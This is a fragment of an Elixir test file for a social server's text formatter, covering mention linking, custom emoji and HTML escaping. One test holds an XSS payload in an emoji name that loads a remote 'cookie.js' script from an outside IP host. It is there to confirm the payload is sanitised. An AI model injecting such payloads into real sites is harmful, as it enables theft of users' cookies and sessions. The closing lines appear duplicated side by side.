{"@archaeme@archae.me", archaeme_remote},
{"@gsimg", gsimg},
{"@jimm", jimm},
{"@o", o}
]
assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
end
test "it adds cool emoji" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
test "it escapes HTML in plain text" do test "it escapes HTML in plain text" do
text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"